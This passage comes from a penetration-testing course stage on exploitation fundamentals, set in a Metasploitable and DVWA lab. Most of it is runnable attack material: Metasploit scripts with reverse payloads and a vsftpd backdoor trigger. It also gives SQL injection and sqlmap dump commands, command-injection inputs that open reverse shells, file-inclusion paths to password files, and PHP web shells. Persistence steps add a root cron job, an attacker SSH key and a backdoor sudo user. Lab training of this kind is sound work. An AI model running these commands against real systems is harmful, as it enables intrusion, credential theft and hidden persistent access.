echo "=== Attempting Samba exploit ==="
use exploit/multi/samba/usermap_script
set RHOSTS $TARGET
set PAYLOAD cmd/unix/reverse
run
back

# distcc
echo "=== Attempting distcc exploit ==="
use exploit/unix/misc/distcc_exec
set RHOSTS $TARGET
set PAYLOAD cmd/unix/reverse
run
back

# Show sessions
echo ""
echo "=== Active Sessions ==="
sessions -l
EOF

echo "Resource script created: $OUTPUT_DIR/exploit_$TIMESTAMP.rc"
echo ""
echo "To run:"
echo "  msfconsole -r $OUTPUT_DIR/exploit_$TIMESTAMP.rc"

Save to ~/scripts/auto_exploit.sh.

Manual Exploitation Without Metasploit

Example: vsftpd 2.3.4 Manual Exploitation

# The backdoor is triggered by sending a username ending with :)
# Then it opens a shell on port 6200

# Connect to FTP
nc 192.168.56.101 21

# Send backdoor trigger
USER backdoor:)
PASS anything

# In another terminal, connect to the backdoor
nc 192.168.56.101 6200
id

Example: Samba Manual Exploitation

# Using smbclient to trigger
smbclient //192.168.56.101/tmp

# The vulnerability is in the username field
# Special characters can execute commands

Milestone 4 Checkpoint

Before proceeding, verify:

[CERT CHECKPOINT - PenTest+ 3.3 / CEH / eJPT]: Network exploitation is a core skill.


Part 5 — Web Application Exploitation (Milestone 5)

Web Exploitation on Metasploitable

Metasploitable includes DVWA and other vulnerable web apps.

Exploiting DVWA (Damn Vulnerable Web App)

Access DVWA: http://192.168.56.101/dvwa/

Default credentials: admin / password

SQL Injection (Manual)

# DVWA SQL Injection (Low security)
# URL: http://192.168.56.101/dvwa/vulnerabilities/sqli/

# Test for injection
?id=1
?id=1'            # Should cause error
?id=1' OR '1'='1  # Should return all users

# Enumerate columns
?id=1' ORDER BY 1--
?id=1' ORDER BY 2--  # Keep incrementing until error

# Extract data
?id=1' UNION SELECT 1,2--
?id=1' UNION SELECT user(),database()--
?id=1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--
?id=1' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--
?id=1' UNION SELECT user,password FROM users--

SQL Injection with SQLMap

# First, get the authenticated cookie from browser
# Then use with sqlmap

sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="security=low; PHPSESSID=<your_session_id>" \
    --dbs

# Enumerate tables
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="security=low; PHPSESSID=<your_session_id>" \
    -D dvwa --tables

# Dump users table
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
    --cookie="security=low; PHPSESSID=<your_session_id>" \
    -D dvwa -T users --dump

Command Injection

# DVWA Command Injection (Low security)
# URL: http://192.168.56.101/dvwa/vulnerabilities/exec/

# Normal use: ping an IP
192.168.56.102

# Inject additional commands
192.168.56.102; id
192.168.56.102; cat /etc/passwd
192.168.56.102; whoami

# Get reverse shell
192.168.56.102; nc -e /bin/sh 192.168.56.102 4444

# Or using bash reverse shell
192.168.56.102; bash -i >& /dev/tcp/192.168.56.102/4444 0>&1

File Inclusion

# DVWA File Inclusion (Low security)
# URL: http://192.168.56.101/dvwa/vulnerabilities/fi/

# Local File Inclusion (LFI)
?page=../../../../../../../etc/passwd
?page=../../../../../../../etc/shadow
?page=../../../../../../../var/www/dvwa/config/config.inc.php

# Remote File Inclusion (if allow_url_include is on)
?page=http://192.168.56.102/shell.php

File Upload

# DVWA File Upload (Low security)
# Create a PHP shell

cat << 'EOF' > /tmp/shell.php
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
EOF

# Upload through DVWA interface
# Access at: http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=id

Exploiting TWiki

Metasploitable includes TWiki with a command execution vulnerability.

# TWiki command execution
# URL: http://192.168.56.101/twiki/

# Metasploit
msf6 > use exploit/unix/webapp/twiki_history
msf6 exploit(unix/webapp/twiki_history) > set RHOSTS 192.168.56.101
msf6 exploit(unix/webapp/twiki_history) > set PAYLOAD cmd/unix/reverse
msf6 exploit(unix/webapp/twiki_history) > set LHOST 192.168.56.102
msf6 exploit(unix/webapp/twiki_history) > exploit

Exploiting PHP CGI

# PHP CGI argument injection (CVE-2012-1823)
msf6 > use exploit/multi/http/php_cgi_arg_injection
msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.56.101
msf6 exploit(multi/http/php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > set LHOST 192.168.56.102
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit

Web Exploitation Script

#!/bin/bash
# web_exploit.sh - Web application exploitation helpers

TARGET="${1:-}"
LHOST="${2:-}"

usage() {
    echo "Usage: $0 <target_url> <lhost>"
    echo ""
    echo "Examples:"
    echo "  $0 http://192.168.56.101 192.168.56.102"
}

if [ -z "$TARGET" ] || [ -z "$LHOST" ]; then
    usage
    exit 1
fi

echo "=== Web Exploitation Helpers ==="
echo "Target: $TARGET"
echo "LHOST: $LHOST"
echo ""

# Create simple PHP shell
echo "[*] Creating PHP shells..."
mkdir -p /tmp/shells

cat << 'EOF' > /tmp/shells/simple.php
<?php system($_GET['cmd']); ?>
EOF

cat << 'EOF' > /tmp/shells/full.php
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
<form method="GET">
    <input type="text" name="cmd" size="50">
    <input type="submit" value="Execute">
</form>
EOF

echo "  Created: /tmp/shells/simple.php"
echo "  Created: /tmp/shells/full.php"
echo ""

# Create msfvenom PHP shell
echo "[*] Creating msfvenom PHP shell..."
msfvenom -p php/meterpreter/reverse_tcp \
    LHOST=$LHOST LPORT=4444 \
    -f raw -o /tmp/shells/meterpreter.php 2>/dev/null
echo "  Created: /tmp/shells/meterpreter.php"
echo ""

# Show useful commands
echo "=== Quick Reference ==="
echo ""
echo "SQL Injection test:"
echo "  ' OR '1'='1"
echo "  ' UNION SELECT 1,2,3--"
echo ""
echo "Command Injection test:"
echo "  ; id"
echo "  | whoami"
echo "  \$(id)"
echo ""
echo "LFI test:"
echo "  ../../../../../../../etc/passwd"
echo ""
echo "Reverse shell (once you have command exec):"
echo "  bash -i >& /dev/tcp/$LHOST/4444 0>&1"
echo ""
echo "Start listener:"
echo "  nc -lvnp 4444"

Save to ~/scripts/web_exploit.sh.


Milestone 5 Checkpoint

Before proceeding, verify:

[CERT CHECKPOINT - PenTest+ 3.4 / CEH]: Web exploitation is essential.


Part 6 — Shell Handling and Stability (Milestone 6)

Upgrading Shells

Basic shells are often unstable. Upgrade them for better functionality.

Upgrade to Interactive TTY

# After getting a basic shell, upgrade it

# Method 1: Python
python -c 'import pty; pty.spawn("/bin/bash")'
# OR
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Method 2: Script
script -qc /bin/bash /dev/null

# Method 3: Expect
expect -c 'spawn bash; interact'

Full TTY Upgrade

# Step 1: Spawn a PTY
python -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell
# Press Ctrl+Z

# Step 3: On your local machine
stty raw -echo; fg

# Step 4: In the shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 38 columns 116

# Now you have a fully interactive shell with tab completion, 
# arrow keys, and Ctrl+C won't kill your shell

Upgrading to Meterpreter

# From a basic command shell session in Metasploit
msf6 > sessions -l
# Note the session ID (e.g., 1)

msf6 > sessions -u 1
# OR
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
msf6 post(multi/manage/shell_to_meterpreter) > run

Maintaining Stable Access

# In Meterpreter - Migrate to stable process
meterpreter > ps
# Find a stable process like svchost.exe (Windows) or init (Linux)
meterpreter > migrate <PID>

# Verify new process
meterpreter > getpid
meterpreter > ps

Shell Handling Script

#!/bin/bash
# shell_upgrade.sh - Shell upgrade reference

echo "=== Shell Upgrade Cheat Sheet ==="
echo ""
echo "=== Basic to PTY ==="
echo "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
echo "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
echo "script -qc /bin/bash /dev/null"
echo ""
echo "=== Full TTY Upgrade ==="
echo "1. Spawn PTY: python -c 'import pty; pty.spawn(\"/bin/bash\")'"
echo "2. Background: Ctrl+Z"
echo "3. Local: stty raw -echo; fg"
echo "4. Remote: reset"
echo "5. Remote: export SHELL=bash; export TERM=xterm-256color"
echo ""
echo "=== Fix Terminal Size ==="
echo "Local: stty size"
echo "Remote: stty rows <rows> columns <cols>"
echo ""
echo "=== Transfer Files (Target has wget) ==="
echo "Attacker: python3 -m http.server 8000"
echo "Target: wget http://ATTACKER:8000/file"
echo ""
echo "=== Transfer Files (Target has curl) ==="
echo "Target: curl http://ATTACKER:8000/file -o file"
echo ""
echo "=== Transfer Files (Netcat) ==="
echo "Receiver: nc -lvnp 9999 > file"
echo "Sender: nc RECEIVER 9999 < file"

Save to ~/scripts/shell_upgrade.sh.

Persistence (Brief Overview)

Note: Detailed persistence techniques are covered in post-exploitation (Stage 08).

# Basic persistence concepts

# 1. Cron job (Linux)
echo "* * * * * /tmp/shell" >> /var/spool/cron/crontabs/root

# 2. SSH key (Linux)
echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys

# 3. User creation
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
usermod -aG sudo backdoor

# Note: Always document any persistence mechanisms you create!

Milestone 6 Checkpoint

Before proceeding, verify:

[CERT CHECKPOINT - PenTest+ / OSCP]: Shell handling is essential for practical testing.


Part 7 — Exploitation Documentation (Milestone 7)

Why Documentation Matters

Exploitation Log Template

cat << 'EOF' > ~/templates/exploitation_log.md
# Exploitation Log

## Engagement Details
- **Target:** [IP/hostname]
- **Date:** [Date]
- **Tester:** [Name]
- **Authorization:** [Reference number/document]

---

## Exploit 1: [Name]

### Target Information
| Field | Value |
|-------|-------|
| IP Address | |
| Port | |
| Service | |
| Version | |

### Vulnerability
| Field | Value |
|-------|-------|
| CVE | |
| Description | |
| CVSS | |

### Exploitation Details

**Module/Tool Used:**

[module or tool name]


**Configuration:**

[settings used]


**Execution:**

[commands run]


### Results
- **Success:** [Yes/No]
- **Access Level:** [user/root/SYSTEM]
- **Session ID:** [if applicable]

### Evidence

[command output showing access]


### Post-Exploitation Actions
- [ ] Enumerated system
- [ ] Captured screenshot/evidence
- [ ] Documented access
- [ ] Cleaned up artifacts

### Notes
[Additional observations]

---

## Exploit 2: [Name]
[Repeat structure]

---

## Summary

| Exploit | Target | Result | Access |
|---------|--------|--------|--------|
| | | | |

## Timeline
| Time | Action |
|------|--------|
| | |
EOF

echo "Created: ~/templates/exploitation_log.md"

Screenshot and Evidence Script

#!/bin/bash
# capture_evidence.sh - Capture exploitation evidence

SESSION_NAME="${1:-session}"
OUTPUT_DIR="${2:-$HOME/engagements/evidence}"

TIMESTAMP=$(date +%Y%m%d_%H%M%S)
EVIDENCE_DIR="$OUTPUT_DIR/${SESSION_NAME}_${TIMESTAMP}"

mkdir -p "$EVIDENCE_DIR"

echo "=== Evidence Capture Helper ==="
echo "Session: $SESSION_NAME"
echo "Output: $EVIDENCE_DIR"
echo ""

# Start script logging
SCRIPT_LOG="$EVIDENCE_DIR/terminal_log.txt"
echo "Terminal log will be saved to: $SCRIPT_LOG"
echo ""
echo "Commands to capture evidence:"
echo ""
echo "=== System Information ==="
echo "id; whoami; hostname; uname -a"
echo ""
echo "=== Network Information ==="
echo "ip addr; netstat -tulpn"
echo ""
echo "=== Process Information ==="
echo "ps aux"
echo ""
echo "=== File System ==="
echo "pwd; ls -la"
echo ""
echo "=== Screenshot (if GUI available) ==="
echo "import -window root $EVIDENCE_DIR/screenshot.png"
echo ""
echo "Starting terminal logging..."
echo "Type 'exit' when done to stop logging."
echo ""

# Start script for logging
script -q "$SCRIPT_LOG"

echo ""
echo "Evidence saved to: $EVIDENCE_DIR"
ls -la "$EVIDENCE_DIR"

Save to ~/scripts/capture_evidence.sh.

Exploitation Report Entry

cat << 'EOF' > ~/templates/exploit_finding.md
# Exploitation Finding

## Finding ID: [EXP-XXXX]

## Executive Summary
[One sentence describing the successful exploit]

## Technical Details

### Target
| Attribute | Value |
|-----------|-------|
| IP Address | |
| Hostname | |
| Operating System | |
| Service/Application | |
| Version | |

### Vulnerability
| Attribute | Value |
|-----------|-------|
| Name | |
| CVE | |
| CVSS Score | |
| CVSS Vector | |

### Exploitation Method
[Describe how the exploit was performed]

### Tool Used
- **Tool:** [Metasploit/Manual/etc.]
- **Module:** [If applicable]
- **Payload:** [If applicable]

### Access Achieved
- **Level:** [User/Admin/Root/SYSTEM]
- **Type:** [Shell/Meterpreter/Web shell]

## Evidence

### Proof of Concept

[Commands and output]


### Screenshots
[Attached or embedded]

## Impact Assessment
[What an attacker could do with this access]

## Remediation
[How to fix the vulnerability]

## References
- [CVE link]
- [Vendor advisory]
- [Additional resources]
EOF

echo "Created: ~/templates/exploit_finding.md"

Milestone 7 Checkpoint

Before proceeding, verify:

[CERT CHECKPOINT - PenTest+ 5.0]: Documentation is critical for professional testing.


Stage 07 Assessment

Written Assessment

Answer these questions in ~/notes/stage07_assessment.txt:

  1. What is the difference between an exploit and a payload?
  1. Explain the difference between a reverse shell and a bind shell. When would you use each?
  1. What is Meterpreter and what advantages does it provide over a basic shell?
  1. Describe staged vs. stageless payloads. When would you choose one over the other?
  1. What Metasploit command would you use to search for SMB exploits?
  1. How do you upgrade a basic shell to a fully interactive TTY?
  1. What msfvenom command would generate a Linux reverse shell payload?
  1. Describe the exploitation workflow from vulnerability identification to gaining access.
  1. What evidence should you capture after successful exploitation?
  1. Why is authorization critical before any exploitation attempt?

Practical Assessment

Complete these tasks on your Metasploitable target:

  1. Service Exploitation:
  2. - Successfully exploit the vsftpd backdoor

    - Successfully exploit the Samba vulnerability

    - Successfully exploit the UnrealIRCd backdoor

    - Document each exploit with commands and output

  1. Payload Generation:
  2. - Generate a Linux reverse shell with msfvenom

    - Generate a PHP web shell

    - Set up appropriate handlers

  1. Web Exploitation:
  2. - Exploit SQL injection in DVWA

    - Exploit command injection in DVWA

    - Upload and execute a web shell

  1. Shell Handling:
  2. - Upgrade a basic shell to interactive TTY

    - Demonstrate file transfer to/from target

  1. Documentation:
  2. - Create a complete exploitation log

    - Document at least 3 successful exploits

    - Include evidence for each


Stage 07 Completion Checklist

Exploitation Concepts

Metasploit Mastery

Payload Generation

Network Exploitation

Web Exploitation

Shell Handling

Documentation

Assessment

Git Workflow


Definition of Done

Stage 07 is complete when:

  1. All checklist items are checked
  2. All scripts and templates are created
  3. Multiple services successfully exploited
  4. Web applications exploited
  5. All exploitation documented professionally
  6. Assessment is complete
  7. Work is committed and pushed

What's Next: Stage 08 Preview

In Stage 08 — Post-Exploitation and Privilege Escalation, you will:

Initial access is just the beginning. The real work starts after you get in!


Supplementary Resources

Practice Platforms

Tools Reference

Reading


Commit your work and proceed to Stage 08 when ready:

cd ~/path-to-repo
git add .
git commit -m "Complete Stage 07 - Exploitation Fundamentals"
git push
← Previous Stage 7 of 9 Next →